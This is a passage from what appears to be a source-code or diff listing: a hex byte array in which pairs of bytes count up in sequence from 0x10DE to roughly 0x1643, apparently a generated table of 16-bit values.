0xDE, 0x10, 0xDF, + 0x10, 0xE0, 0x10, 0xE1, 0x10, 0xE2, 0x10, 0xE3, + 0x10, 0xE4, 0x10, 0xE5, 0x10, 0xE6, 0x10, 0xE7, + 0x10, 0xE8, 0x10, 0xE9, 0x10, 0xEA, 0x10, 0xEB, + 0x10, 0xEC, 0x10, 0xED, 0x10, 0xEE, 0x10, 0xEF, + 0x10, 0xF0, 0x10, 0xF1, 0x10, 0xF2, 0x10, 0xF3, + 0x10, 0xF4, 0x10, 0xF5, 0x10, 0xF6, 0x10, 0xF7, + 0x10, 0xF8, 0x10, 0xF9, 0x10, 0xFA, 0x10, 0xFB, + 0x10, 0xFC, 0x10, 0xFD, 0x10, 0xFE, 0x10, 0xFF, + 0x11, 0x00, 0x11, 0x01, 0x11, 0x02, 0x11, 0x03, + 0x11, 0x04, 0x11, 0x05, 0x11, 0x06, 0x11, 0x07, + 0x11, 0x08, 0x11, 0x09, 0x11, 0x0A, 0x11, 0x0B, + 0x11, 0x0C, 0x11, 0x0D, 0x11, 0x0E, 0x11, 0x0F, + 0x11, 0x10, 0x11, 0x11, 0x11, 0x12, 0x11, 0x13, + 0x11, 0x14, 0x11, 0x15, 0x11, 0x16, 0x11, 0x17, + 0x11, 0x18, 0x11, 0x19, 0x11, 0x1A, 0x11, 0x1B, + 0x11, 0x1C, 0x11, 0x1D, 0x11, 0x1E, 0x11, 0x1F, + 0x11, 0x20, 0x11, 0x21, 0x11, 0x22, 0x11, 0x23, + 0x11, 0x24, 0x11, 0x25, 0x11, 0x26, 0x11, 0x27, + 0x11, 0x28, 0x11, 0x29, 0x11, 0x2A, 0x11, 0x2B, + 0x11, 0x2C, 0x11, 0x2D, 0x11, 0x2E, 0x11, 0x2F, + 0x11, 0x30, 0x11, 0x31, 0x11, 0x32, 0x11, 0x33, + 0x11, 0x34, 0x11, 0x35, 0x11, 0x36, 0x11, 0x37, + 0x11, 0x38, 0x11, 0x39, 0x11, 0x3A, 0x11, 0x3B, + 0x11, 0x3C, 0x11, 0x3D, 0x11, 0x3E, 0x11, 0x3F, + 0x11, 0x40, 0x11, 0x41, 0x11, 0x42, 0x11, 0x43, + 0x11, 0x44, 0x11, 0x45, 0x11, 0x46, 0x11, 0x47, + 0x11, 0x48, 0x11, 0x49, 0x11, 0x4A, 0x11, 0x4B, + 0x11, 0x4C, 0x11, 0x4D, 0x11, 0x4E, 0x11, 0x4F, + 0x11, 0x50, 0x11, 0x51, 0x11, 0x52, 0x11, 0x53, + 0x11, 0x54, 0x11, 0x55, 0x11, 0x56, 0x11, 0x57, + 0x11, 0x58, 0x11, 0x59, 0x11, 0x5A, 0x11, 0x5B, + 0x11, 0x5C, 0x11, 0x5D, 0x11, 0x5E, 0x11, 0x5F, + 0x11, 0x60, 0x11, 0x61, 0x11, 0x62, 0x11, 0x63, + 0x11, 0x64, 0x11, 0x65, 0x11, 0x66, 0x11, 0x67, + 0x11, 0x68, 0x11, 0x69, 0x11, 0x6A, 0x11, 0x6B, + 0x11, 0x6C, 0x11, 0x6D, 0x11, 0x6E, 0x11, 0x6F, + 0x11, 0x70, 0x11, 0x71, 0x11, 0x72, 0x11, 0x73, + 0x11, 0x74, 0x11, 0x75, 0x11, 0x76, 0x11, 0x77, + 0x11, 0x78, 0x11, 0x79, 0x11, 0x7A, 0x11, 0x7B, + 0x11, 0x7C, 0x11, 0x7D, 0x11, 0x7E, 0x11, 0x7F, + 0x11, 0x80, 0x11, 0x81, 0x11, 0x82, 0x11, 0x83, + 0x11, 0x84, 0x11, 0x85, 0x11, 0x86, 0x11, 0x87, + 0x11, 0x88, 0x11, 0x89, 0x11, 0x8A, 0x11, 0x8B, + 0x11, 0x8C, 0x11, 0x8D, 0x11, 0x8E, 0x11, 0x8F, + 0x11, 0x90, 0x11, 0x91, 0x11, 0x92, 0x11, 0x93, + 0x11, 0x94, 0x11, 0x95, 0x11, 0x96, 0x11, 0x97, + 0x11, 0x98, 0x11, 0x99, 0x11, 0x9A, 0x11, 0x9B, + 0x11, 0x9C, 0x11, 0x9D, 0x11, 0x9E, 0x11, 0x9F, + 0x11, 0xA0, 0x11, 0xA1, 0x11, 0xA2, 0x11, 0xA3, + 0x11, 0xA4, 0x11, 0xA5, 0x11, 0xA6, 0x11, 0xA7, + 0x11, 0xA8, 0x11, 0xA9, 0x11, 0xAA, 0x11, 0xAB, + 0x11, 0xAC, 0x11, 0xAD, 0x11, 0xAE, 0x11, 0xAF, + 0x11, 0xB0, 0x11, 0xB1, 0x11, 0xB2, 0x11, 0xB3, + 0x11, 0xB4, 0x11, 0xB5, 0x11, 0xB6, 0x11, 0xB7, + 0x11, 0xB8, 0x11, 0xB9, 0x11, 0xBA, 0x11, 0xBB, + 0x11, 0xBC, 0x11, 0xBD, 0x11, 0xBE, 0x11, 0xBF, + 0x11, 0xC0, 0x11, 0xC1, 0x11, 0xC2, 0x11, 0xC3, + 0x11, 0xC4, 0x11, 0xC5, 0x11, 0xC6, 0x11, 0xC7, + 0x11, 0xC8, 0x11, 0xC9, 0x11, 0xCA, 0x11, 0xCB, + 0x11, 0xCC, 0x11, 0xCD, 0x11, 0xCE, 0x11, 0xCF, + 0x11, 0xD0, 0x11, 0xD1, 0x11, 0xD2, 0x11, 0xD3, + 0x11, 0xD4, 0x11, 0xD5, 0x11, 0xD6, 0x11, 0xD7, + 0x11, 0xD8, 0x11, 0xD9, 0x11, 0xDA, 0x11, 0xDB, + 0x11, 0xDC, 0x11, 0xDD, 0x11, 0xDE, 0x11, 0xDF, + 0x11, 0xE0, 0x11, 0xE1, 0x11, 0xE2, 0x11, 0xE3, + 0x11, 0xE4, 0x11, 0xE5, 0x11, 0xE6, 0x11, 0xE7, + 0x11, 0xE8, 0x11, 0xE9, 0x11, 0xEA, 0x11, 0xEB, + 0x11, 0xEC, 0x11, 0xED, 0x11, 0xEE, 0x11, 0xEF, + 0x11, 0xF0, 0x11, 0xF1, 0x11, 0xF2, 0x11, 0xF3, + 0x11, 0xF4, 0x11, 0xF5, 0x11, 0xF6, 0x11, 0xF7, + 0x11, 0xF8, 0x11, 0xF9, 0x11, 0xFA, 0x11, 0xFB, + 0x11, 0xFC, 0x11, 0xFD, 0x11, 0xFE, 0x11, 0xFF, + 0x12, 0x00, 0x12, 0x01, 0x12, 0x02, 0x12, 0x03, + 0x12, 0x04, 0x12, 0x05, 0x12, 0x06, 0x12, 0x07, + 0x12, 0x08, 0x12, 0x09, 0x12, 0x0A, 0x12, 0x0B, + 0x12, 0x0C, 0x12, 0x0D, 0x12, 0x0E, 0x12, 0x0F, + 0x12, 0x10, 0x12, 0x11, 0x12, 0x12, 0x12, 0x13, + 0x12, 0x14, 0x12, 0x15, 0x12, 0x16, 0x12, 0x17, + 0x12, 0x18, 0x12, 0x19, 0x12, 0x1A, 0x12, 0x1B, + 0x12, 0x1C, 0x12, 0x1D, 0x12, 0x1E, 0x12, 0x1F, + 0x12, 0x20, 0x12, 0x21, 0x12, 0x22, 0x12, 0x23, + 0x12, 0x24, 0x12, 0x25, 0x12, 0x26, 0x12, 0x27, + 0x12, 0x28, 0x12, 0x29, 0x12, 0x2A, 0x12, 0x2B, + 0x12, 0x2C, 0x12, 0x2D, 0x12, 0x2E, 0x12, 0x2F, + 0x12, 0x30, 0x12, 0x31, 0x12, 0x32, 0x12, 0x33, + 0x12, 0x34, 0x12, 0x35, 0x12, 0x36, 0x12, 0x37, + 0x12, 0x38, 0x12, 0x39, 0x12, 0x3A, 0x12, 0x3B, + 0x12, 0x3C, 0x12, 0x3D, 0x12, 0x3E, 0x12, 0x3F, + 0x12, 0x40, 0x12, 0x41, 0x12, 0x42, 0x12, 0x43, + 0x12, 0x44, 0x12, 0x45, 0x12, 0x46, 0x12, 0x47, + 0x12, 0x48, 0x12, 0x49, 0x12, 0x4A, 0x12, 0x4B, + 0x12, 0x4C, 0x12, 0x4D, 0x12, 0x4E, 0x12, 0x4F, + 0x12, 0x50, 0x12, 0x51, 0x12, 0x52, 0x12, 0x53, + 0x12, 0x54, 0x12, 0x55, 0x12, 0x56, 0x12, 0x57, + 0x12, 0x58, 0x12, 0x59, 0x12, 0x5A, 0x12, 0x5B, + 0x12, 0x5C, 0x12, 0x5D, 0x12, 0x5E, 0x12, 0x5F, + 0x12, 0x60, 0x12, 0x61, 0x12, 0x62, 0x12, 0x63, + 0x12, 0x64, 0x12, 0x65, 0x12, 0x66, 0x12, 0x67, + 0x12, 0x68, 0x12, 0x69, 0x12, 0x6A, 0x12, 0x6B, + 0x12, 0x6C, 0x12, 0x6D, 0x12, 0x6E, 0x12, 0x6F, + 0x12, 0x70, 0x12, 0x71, 0x12, 0x72, 0x12, 0x73, + 0x12, 0x74, 0x12, 0x75, 0x12, 0x76, 0x12, 0x77, + 0x12, 0x78, 0x12, 0x79, 0x12, 0x7A, 0x12, 0x7B, + 0x12, 0x7C, 0x12, 0x7D, 0x12, 0x7E, 0x12, 0x7F, + 0x12, 0x80, 0x12, 0x81, 0x12, 0x82, 0x12, 0x83, + 0x12, 0x84, 0x12, 0x85, 0x12, 0x86, 0x12, 0x87, + 0x12, 0x88, 0x12, 0x89, 0x12, 0x8A, 0x12, 0x8B, + 0x12, 0x8C, 0x12, 0x8D, 0x12, 0x8E, 0x12, 0x8F, + 0x12, 0x90, 0x12, 0x91, 0x12, 0x92, 0x12, 0x93, + 0x12, 0x94, 0x12, 0x95, 0x12, 0x96, 0x12, 0x97, + 0x12, 0x98, 0x12, 0x99, 0x12, 0x9A, 0x12, 0x9B, + 0x12, 0x9C, 0x12, 0x9D, 0x12, 0x9E, 0x12, 0x9F, + 0x12, 0xA0, 0x12, 0xA1, 0x12, 0xA2, 0x12, 0xA3, + 0x12, 0xA4, 0x12, 0xA5, 0x12, 0xA6, 0x12, 0xA7, + 0x12, 0xA8, 0x12, 0xA9, 0x12, 0xAA, 0x12, 0xAB, + 0x12, 0xAC, 0x12, 0xAD, 0x12, 0xAE, 0x12, 0xAF, + 0x12, 0xB0, 0x12, 0xB1, 0x12, 0xB2, 0x12, 0xB3, + 0x12, 0xB4, 0x12, 0xB5, 0x12, 0xB6, 0x12, 0xB7, + 0x12, 0xB8, 0x12, 0xB9, 0x12, 0xBA, 0x12, 0xBB, + 0x12, 0xBC, 0x12, 0xBD, 0x12, 0xBE, 0x12, 0xBF, + 0x12, 0xC0, 0x12, 0xC1, 0x12, 0xC2, 0x12, 0xC3, + 0x12, 0xC4, 0x12, 0xC5, 0x12, 0xC6, 0x12, 0xC7, + 0x12, 0xC8, 0x12, 0xC9, 0x12, 0xCA, 0x12, 0xCB, + 0x12, 0xCC, 0x12, 0xCD, 0x12, 0xCE, 0x12, 0xCF, + 0x12, 0xD0, 0x12, 0xD1, 0x12, 0xD2, 0x12, 0xD3, + 0x12, 0xD4, 0x12, 0xD5, 0x12, 0xD6, 0x12, 0xD7, + 0x12, 0xD8, 0x12, 0xD9, 0x12, 0xDA, 0x12, 0xDB, + 0x12, 0xDC, 0x12, 0xDD, 0x12, 0xDE, 0x12, 0xDF, + 0x12, 0xE0, 0x12, 0xE1, 0x12, 0xE2, 0x12, 0xE3, + 0x12, 0xE4, 0x12, 0xE5, 0x12, 0xE6, 0x12, 0xE7, + 0x12, 0xE8, 0x12, 0xE9, 0x12, 0xEA, 0x12, 0xEB, + 0x12, 0xEC, 0x12, 0xED, 0x12, 0xEE, 0x12, 0xEF, + 0x12, 0xF0, 0x12, 0xF1, 0x12, 0xF2, 0x12, 0xF3, + 0x12, 0xF4, 0x12, 0xF5, 0x12, 0xF6, 0x12, 0xF7, + 0x12, 0xF8, 0x12, 0xF9, 0x12, 0xFA, 0x12, 0xFB, + 0x12, 0xFC, 0x12, 0xFD, 0x12, 0xFE, 0x12, 0xFF, + 0x13, 0x00, 0x13, 0x01, 0x13, 0x02, 0x13, 0x03, + 0x13, 0x04, 0x13, 0x05, 0x13, 0x06, 0x13, 0x07, + 0x13, 0x08, 0x13, 0x09, 0x13, 0x0A, 0x13, 0x0B, + 0x13, 0x0C, 0x13, 0x0D, 0x13, 0x0E, 0x13, 0x0F, + 0x13, 0x10, 0x13, 0x11, 0x13, 0x12, 0x13, 0x13, + 0x13, 0x14, 0x13, 0x15, 0x13, 0x16, 0x13, 0x17, + 0x13, 0x18, 0x13, 0x19, 0x13, 0x1A, 0x13, 0x1B, + 0x13, 0x1C, 0x13, 0x1D, 0x13, 0x1E, 0x13, 0x1F, + 0x13, 0x20, 0x13, 0x21, 0x13, 0x22, 0x13, 0x23, + 0x13, 0x24, 0x13, 0x25, 0x13, 0x26, 0x13, 0x27, + 0x13, 0x28, 0x13, 0x29, 0x13, 0x2A, 0x13, 0x2B, + 0x13, 0x2C, 0x13, 0x2D, 0x13, 0x2E, 0x13, 0x2F, + 0x13, 0x30, 0x13, 0x31, 0x13, 0x32, 0x13, 0x33, + 0x13, 0x34, 0x13, 0x35, 0x13, 0x36, 0x13, 0x37, + 0x13, 0x38, 0x13, 0x39, 0x13, 0x3A, 0x13, 0x3B, + 0x13, 0x3C, 0x13, 0x3D, 0x13, 0x3E, 0x13, 0x3F, + 0x13, 0x40, 0x13, 0x41, 0x13, 0x42, 0x13, 0x43, + 0x13, 0x44, 0x13, 0x45, 0x13, 0x46, 0x13, 0x47, + 0x13, 0x48, 0x13, 0x49, 0x13, 0x4A, 0x13, 0x4B, + 0x13, 0x4C, 0x13, 0x4D, 0x13, 0x4E, 0x13, 0x4F, + 0x13, 0x50, 0x13, 0x51, 0x13, 0x52, 0x13, 0x53, + 0x13, 0x54, 0x13, 0x55, 0x13, 0x56, 0x13, 0x57, + 0x13, 0x58, 0x13, 0x59, 0x13, 0x5A, 0x13, 0x5B, + 0x13, 0x5C, 0x13, 0x5D, 0x13, 0x5E, 0x13, 0x5F, + 0x13, 0x60, 0x13, 0x61, 0x13, 0x62, 0x13, 0x63, + 0x13, 0x64, 0x13, 0x65, 0x13, 0x66, 0x13, 0x67, + 0x13, 0x68, 0x13, 0x69, 0x13, 0x6A, 0x13, 0x6B, + 0x13, 0x6C, 0x13, 0x6D, 0x13, 0x6E, 0x13, 0x6F, + 0x13, 0x70, 0x13, 0x71, 0x13, 0x72, 0x13, 0x73, + 0x13, 0x74, 0x13, 0x75, 0x13, 0x76, 0x13, 0x77, + 0x13, 0x78, 0x13, 0x79, 0x13, 0x7A, 0x13, 0x7B, + 0x13, 0x7C, 0x13, 0x7D, 0x13, 0x7E, 0x13, 0x7F, + 0x13, 0x80, 0x13, 0x81, 0x13, 0x82, 0x13, 0x83, + 0x13, 0x84, 0x13, 0x85, 0x13, 0x86, 0x13, 0x87, + 0x13, 0x88, 0x13, 0x89, 0x13, 0x8A, 0x13, 0x8B, + 0x13, 0x8C, 0x13, 0x8D, 0x13, 0x8E, 0x13, 0x8F, + 0x13, 0x90, 0x13, 0x91, 0x13, 0x92, 0x13, 0x93, + 0x13, 0x94, 0x13, 0x95, 0x13, 0x96, 0x13, 0x97, + 0x13, 0x98, 0x13, 0x99, 0x13, 0x9A, 0x13, 0x9B, + 0x13, 0x9C, 0x13, 0x9D, 0x13, 0x9E, 0x13, 0x9F, + 0x13, 0xA0, 0x13, 0xA1, 0x13, 0xA2, 0x13, 0xA3, + 0x13, 0xA4, 0x13, 0xA5, 0x13, 0xA6, 0x13, 0xA7, + 0x13, 0xA8, 0x13, 0xA9, 0x13, 0xAA, 0x13, 0xAB, + 0x13, 0xAC, 0x13, 0xAD, 0x13, 0xAE, 0x13, 0xAF, + 0x13, 0xB0, 0x13, 0xB1, 0x13, 0xB2, 0x13, 0xB3, + 0x13, 0xB4, 0x13, 0xB5, 0x13, 0xB6, 0x13, 0xB7, + 0x13, 0xB8, 0x13, 0xB9, 0x13, 0xBA, 0x13, 0xBB, + 0x13, 0xBC, 0x13, 0xBD, 0x13, 0xBE, 0x13, 0xBF, + 0x13, 0xC0, 0x13, 0xC1, 0x13, 0xC2, 0x13, 0xC3, + 0x13, 0xC4, 0x13, 0xC5, 0x13, 0xC6, 0x13, 0xC7, + 0x13, 0xC8, 0x13, 0xC9, 0x13, 0xCA, 0x13, 0xCB, + 0x13, 0xCC, 0x13, 0xCD, 0x13, 0xCE, 0x13, 0xCF, + 0x13, 0xD0, 0x13, 0xD1, 0x13, 0xD2, 0x13, 0xD3, + 0x13, 0xD4, 0x13, 0xD5, 0x13, 0xD6, 0x13, 0xD7, + 0x13, 0xD8, 0x13, 0xD9, 0x13, 0xDA, 0x13, 0xDB, + 0x13, 0xDC, 0x13, 0xDD, 0x13, 0xDE, 0x13, 0xDF, + 0x13, 0xE0, 0x13, 0xE1, 0x13, 0xE2, 0x13, 0xE3, + 0x13, 0xE4, 0x13, 0xE5, 0x13, 0xE6, 0x13, 0xE7, + 0x13, 0xE8, 0x13, 0xE9, 0x13, 0xEA, 0x13, 0xEB, + 0x13, 0xEC, 0x13, 0xED, 0x13, 0xEE, 0x13, 0xEF, + 0x13, 0xF0, 0x13, 0xF1, 0x13, 0xF2, 0x13, 0xF3, + 0x13, 0xF4, 0x13, 0xF5, 0x13, 0xF6, 0x13, 0xF7, + 0x13, 0xF8, 0x13, 0xF9, 0x13, 0xFA, 0x13, 0xFB, + 0x13, 0xFC, 0x13, 0xFD, 0x13, 0xFE, 0x13, 0xFF, + 0x14, 0x00, 0x14, 0x01, 0x14, 0x02, 0x14, 0x03, + 0x14, 0x04, 0x14, 0x05, 0x14, 0x06, 0x14, 0x07, + 0x14, 0x08, 0x14, 0x09, 0x14, 0x0A, 0x14, 0x0B, + 0x14, 0x0C, 0x14, 0x0D, 0x14, 0x0E, 0x14, 0x0F, + 0x14, 0x10, 0x14, 0x11, 0x14, 0x12, 0x14, 0x13, + 0x14, 0x14, 0x14, 0x15, 0x14, 0x16, 0x14, 0x17, + 0x14, 0x18, 0x14, 0x19, 0x14, 0x1A, 0x14, 0x1B, + 0x14, 0x1C, 0x14, 0x1D, 0x14, 0x1E, 0x14, 0x1F, + 0x14, 0x20, 0x14, 0x21, 0x14, 0x22, 0x14, 0x23, + 0x14, 0x24, 0x14, 0x25, 0x14, 0x26, 0x14, 0x27, + 0x14, 0x28, 0x14, 0x29, 0x14, 0x2A, 0x14, 0x2B, + 0x14, 0x2C, 0x14, 0x2D, 0x14, 0x2E, 0x14, 0x2F, + 0x14, 0x30, 0x14, 0x31, 0x14, 0x32, 0x14, 0x33, + 0x14, 0x34, 0x14, 0x35, 0x14, 0x36, 0x14, 0x37, + 0x14, 0x38, 0x14, 0x39, 0x14, 0x3A, 0x14, 0x3B, + 0x14, 0x3C, 0x14, 0x3D, 0x14, 0x3E, 0x14, 0x3F, + 0x14, 0x40, 0x14, 0x41, 0x14, 0x42, 0x14, 0x43, + 0x14, 0x44, 0x14, 0x45, 0x14, 0x46, 0x14, 0x47, + 0x14, 0x48, 0x14, 0x49, 0x14, 0x4A, 0x14, 0x4B, + 0x14, 0x4C, 0x14, 0x4D, 0x14, 0x4E, 0x14, 0x4F, + 0x14, 0x50, 0x14, 0x51, 0x14, 0x52, 0x14, 0x53, + 0x14, 0x54, 0x14, 0x55, 0x14, 0x56, 0x14, 0x57, + 0x14, 0x58, 0x14, 0x59, 0x14, 0x5A, 0x14, 0x5B, + 0x14, 0x5C, 0x14, 0x5D, 0x14, 0x5E, 0x14, 0x5F, + 0x14, 0x60, 0x14, 0x61, 0x14, 0x62, 0x14, 0x63, + 0x14, 0x64, 0x14, 0x65, 0x14, 0x66, 0x14, 0x67, + 0x14, 0x68, 0x14, 0x69, 0x14, 0x6A, 0x14, 0x6B, + 0x14, 0x6C, 0x14, 0x6D, 0x14, 0x6E, 0x14, 0x6F, + 0x14, 0x70, 0x14, 0x71, 0x14, 0x72, 0x14, 0x73, + 0x14, 0x74, 0x14, 0x75, 0x14, 0x76, 0x14, 0x77, + 0x14, 0x78, 0x14, 0x79, 0x14, 0x7A, 0x14, 0x7B, + 0x14, 0x7C, 0x14, 0x7D, 0x14, 0x7E, 0x14, 0x7F, + 0x14, 0x80, 0x14, 0x81, 0x14, 0x82, 0x14, 0x83, + 0x14, 0x84, 0x14, 0x85, 0x14, 0x86, 0x14, 0x87, + 0x14, 0x88, 0x14, 0x89, 0x14, 0x8A, 0x14, 0x8B, + 0x14, 0x8C, 0x14, 0x8D, 0x14, 0x8E, 0x14, 0x8F, + 0x14, 0x90, 0x14, 0x91, 0x14, 0x92, 0x14, 0x93, + 0x14, 0x94, 0x14, 0x95, 0x14, 0x96, 0x14, 0x97, + 0x14, 0x98, 0x14, 0x99, 0x14, 0x9A, 0x14, 0x9B, + 0x14, 0x9C, 0x14, 0x9D, 0x14, 0x9E, 0x14, 0x9F, + 0x14, 0xA0, 0x14, 0xA1, 0x14, 0xA2, 0x14, 0xA3, + 0x14, 0xA4, 0x14, 0xA5, 0x14, 0xA6, 0x14, 0xA7, + 0x14, 0xA8, 0x14, 0xA9, 0x14, 0xAA, 0x14, 0xAB, + 0x14, 0xAC, 0x14, 0xAD, 0x14, 0xAE, 0x14, 0xAF, + 0x14, 0xB0, 0x14, 0xB1, 0x14, 0xB2, 0x14, 0xB3, + 0x14, 0xB4, 0x14, 0xB5, 0x14, 0xB6, 0x14, 0xB7, + 0x14, 0xB8, 0x14, 0xB9, 0x14, 0xBA, 0x14, 0xBB, + 0x14, 0xBC, 0x14, 0xBD, 0x14, 0xBE, 0x14, 0xBF, + 0x14, 0xC0, 0x14, 0xC1, 0x14, 0xC2, 0x14, 0xC3, + 0x14, 0xC4, 0x14, 0xC5, 0x14, 0xC6, 0x14, 0xC7, + 0x14, 0xC8, 0x14, 0xC9, 0x14, 0xCA, 0x14, 0xCB, + 0x14, 0xCC, 0x14, 0xCD, 0x14, 0xCE, 0x14, 0xCF, + 0x14, 0xD0, 0x14, 0xD1, 0x14, 0xD2, 0x14, 0xD3, + 0x14, 0xD4, 0x14, 0xD5, 0x14, 0xD6, 0x14, 0xD7, + 0x14, 0xD8, 0x14, 0xD9, 0x14, 0xDA, 0x14, 0xDB, + 0x14, 0xDC, 0x14, 0xDD, 0x14, 0xDE, 0x14, 0xDF, + 0x14, 0xE0, 0x14, 0xE1, 0x14, 0xE2, 0x14, 0xE3, + 0x14, 0xE4, 0x14, 0xE5, 0x14, 0xE6, 0x14, 0xE7, + 0x14, 0xE8, 0x14, 0xE9, 0x14, 0xEA, 0x14, 0xEB, + 0x14, 0xEC, 0x14, 0xED, 0x14, 0xEE, 0x14, 0xEF, + 0x14, 0xF0, 0x14, 0xF1, 0x14, 0xF2, 0x14, 0xF3, + 0x14, 0xF4, 0x14, 0xF5, 0x14, 0xF6, 0x14, 0xF7, + 0x14, 0xF8, 0x14, 0xF9, 0x14, 0xFA, 0x14, 0xFB, + 0x14, 0xFC, 0x14, 0xFD, 0x14, 0xFE, 0x14, 0xFF, + 0x15, 0x00, 0x15, 0x01, 0x15, 0x02, 0x15, 0x03, + 0x15, 0x04, 0x15, 0x05, 0x15, 0x06, 0x15, 0x07, + 0x15, 0x08, 0x15, 0x09, 0x15, 0x0A, 0x15, 0x0B, + 0x15, 0x0C, 0x15, 0x0D, 0x15, 0x0E, 0x15, 0x0F, + 0x15, 0x10, 0x15, 0x11, 0x15, 0x12, 0x15, 0x13, + 0x15, 0x14, 0x15, 0x15, 0x15, 0x16, 0x15, 0x17, + 0x15, 0x18, 0x15, 0x19, 0x15, 0x1A, 0x15, 0x1B, + 0x15, 0x1C, 0x15, 0x1D, 0x15, 0x1E, 0x15, 0x1F, + 0x15, 0x20, 0x15, 0x21, 0x15, 0x22, 0x15, 0x23, + 0x15, 0x24, 0x15, 0x25, 0x15, 0x26, 0x15, 0x27, + 0x15, 0x28, 0x15, 0x29, 0x15, 0x2A, 0x15, 0x2B, + 0x15, 0x2C, 0x15, 0x2D, 0x15, 0x2E, 0x15, 0x2F, + 0x15, 0x30, 0x15, 0x31, 0x15, 0x32, 0x15, 0x33, + 0x15, 0x34, 0x15, 0x35, 0x15, 0x36, 0x15, 0x37, + 0x15, 0x38, 0x15, 0x39, 0x15, 0x3A, 0x15, 0x3B, + 0x15, 0x3C, 0x15, 0x3D, 0x15, 0x3E, 0x15, 0x3F, + 0x15, 0x40, 0x15, 0x41, 0x15, 0x42, 0x15, 0x43, + 0x15, 0x44, 0x15, 0x45, 0x15, 0x46, 0x15, 0x47, + 0x15, 0x48, 0x15, 0x49, 0x15, 0x4A, 0x15, 0x4B, + 0x15, 0x4C, 0x15, 0x4D, 0x15, 0x4E, 0x15, 0x4F, + 0x15, 0x50, 0x15, 0x51, 0x15, 0x52, 0x15, 0x53, + 0x15, 0x54, 0x15, 0x55, 0x15, 0x56, 0x15, 0x57, + 0x15, 0x58, 0x15, 0x59, 0x15, 0x5A, 0x15, 0x5B, + 0x15, 0x5C, 0x15, 0x5D, 0x15, 0x5E, 0x15, 0x5F, + 0x15, 0x60, 0x15, 0x61, 0x15, 0x62, 0x15, 0x63, + 0x15, 0x64, 0x15, 0x65, 0x15, 0x66, 0x15, 0x67, + 0x15, 0x68, 0x15, 0x69, 0x15, 0x6A, 0x15, 0x6B, + 0x15, 0x6C, 0x15, 0x6D, 0x15, 0x6E, 0x15, 0x6F, + 0x15, 0x70, 0x15, 0x71, 0x15, 0x72, 0x15, 0x73, + 0x15, 0x74, 0x15, 0x75, 0x15, 0x76, 0x15, 0x77, + 0x15, 0x78, 0x15, 0x79, 0x15, 0x7A, 0x15, 0x7B, + 0x15, 0x7C, 0x15, 0x7D, 0x15, 0x7E, 0x15, 0x7F, + 0x15, 0x80, 0x15, 0x81, 0x15, 0x82, 0x15, 0x83, + 0x15, 0x84, 0x15, 0x85, 0x15, 0x86, 0x15, 0x87, + 0x15, 0x88, 0x15, 0x89, 0x15, 0x8A, 0x15, 0x8B, + 0x15, 0x8C, 0x15, 0x8D, 0x15, 0x8E, 0x15, 0x8F, + 0x15, 0x90, 0x15, 0x91, 0x15, 0x92, 0x15, 0x93, + 0x15, 0x94, 0x15, 0x95, 0x15, 0x96, 0x15, 0x97, + 0x15, 0x98, 0x15, 0x99, 0x15, 0x9A, 0x15, 0x9B, + 0x15, 0x9C, 0x15, 0x9D, 0x15, 0x9E, 0x15, 0x9F, + 0x15, 0xA0, 0x15, 0xA1, 0x15, 0xA2, 0x15, 0xA3, + 0x15, 0xA4, 0x15, 0xA5, 0x15, 0xA6, 0x15, 0xA7, + 0x15, 0xA8, 0x15, 0xA9, 0x15, 0xAA, 0x15, 0xAB, + 0x15, 0xAC, 0x15, 0xAD, 0x15, 0xAE, 0x15, 0xAF, + 0x15, 0xB0, 0x15, 0xB1, 0x15, 0xB2, 0x15, 0xB3, + 0x15, 0xB4, 0x15, 0xB5, 0x15, 0xB6, 0x15, 0xB7, + 0x15, 0xB8, 0x15, 0xB9, 0x15, 0xBA, 0x15, 0xBB, + 0x15, 0xBC, 0x15, 0xBD, 0x15, 0xBE, 0x15, 0xBF, + 0x15, 0xC0, 0x15, 0xC1, 0x15, 0xC2, 0x15, 0xC3, + 0x15, 0xC4, 0x15, 0xC5, 0x15, 0xC6, 0x15, 0xC7, + 0x15, 0xC8, 0x15, 0xC9, 0x15, 0xCA, 0x15, 0xCB, + 0x15, 0xCC, 0x15, 0xCD, 0x15, 0xCE, 0x15, 0xCF, + 0x15, 0xD0, 0x15, 0xD1, 0x15, 0xD2, 0x15, 0xD3, + 0x15, 0xD4, 0x15, 0xD5, 0x15, 0xD6, 0x15, 0xD7, + 0x15, 0xD8, 0x15, 0xD9, 0x15, 0xDA, 0x15, 0xDB, + 0x15, 0xDC, 0x15, 0xDD, 0x15, 0xDE, 0x15, 0xDF, + 0x15, 0xE0, 0x15, 0xE1, 0x15, 0xE2, 0x15, 0xE3, + 0x15, 0xE4, 0x15, 0xE5, 0x15, 0xE6, 0x15, 0xE7, + 0x15, 0xE8, 0x15, 0xE9, 0x15, 0xEA, 0x15, 0xEB, + 0x15, 0xEC, 0x15, 0xED, 0x15, 0xEE, 0x15, 0xEF, + 0x15, 0xF0, 0x15, 0xF1, 0x15, 0xF2, 0x15, 0xF3, + 0x15, 0xF4, 0x15, 0xF5, 0x15, 0xF6, 0x15, 0xF7, + 0x15, 0xF8, 0x15, 0xF9, 0x15, 0xFA, 0x15, 0xFB, + 0x15, 0xFC, 0x15, 0xFD, 0x15, 0xFE, 0x15, 0xFF, + 0x16, 0x00, 0x16, 0x01, 0x16, 0x02, 0x16, 0x03, + 0x16, 0x04, 0x16, 0x05, 0x16, 0x06, 0x16, 0x07, + 0x16, 0x08, 0x16, 0x09, 0x16, 0x0A, 0x16, 0x0B, + 0x16, 0x0C, 0x16, 0x0D, 0x16, 0x0E, 0x16, 0x0F, + 0x16, 0x10, 0x16, 0x11, 0x16, 0x12, 0x16, 0x13, + 0x16, 0x14, 0x16, 0x15, 0x16, 0x16, 0x16, 0x17, + 0x16, 0x18, 0x16, 0x19, 0x16, 0x1A, 0x16, 0x1B, + 0x16, 0x1C, 0x16, 0x1D, 0x16, 0x1E, 0x16, 0x1F, + 0x16, 0x20, 0x16, 0x21, 0x16, 0x22, 0x16, 0x23, + 0x16, 0x24, 0x16, 0x25, 0x16, 0x26, 0x16, 0x27, + 0x16, 0x28, 0x16, 0x29, 0x16, 0x2A, 0x16, 0x2B, + 0x16, 0x2C, 0x16, 0x2D, 0x16, 0x2E, 0x16, 0x2F, + 0x16, 0x30, 0x16, 0x31, 0x16, 0x32, 0x16, 0x33, + 0x16, 0x34, 0x16, 0x35, 0x16, 0x36, 0x16, 0x37, + 0x16, 0x38, 0x16, 0x39, 0x16, 0x3A, 0x16, 0x3B, + 0x16, 0x3C, 0x16, 0x3D, 0x16, 0x3E, 0x16, 0x3F, + 0x16, 0x40, 0x16, 0x41, 0x16, 0x42, 0x16, 0x43, + 0x16, 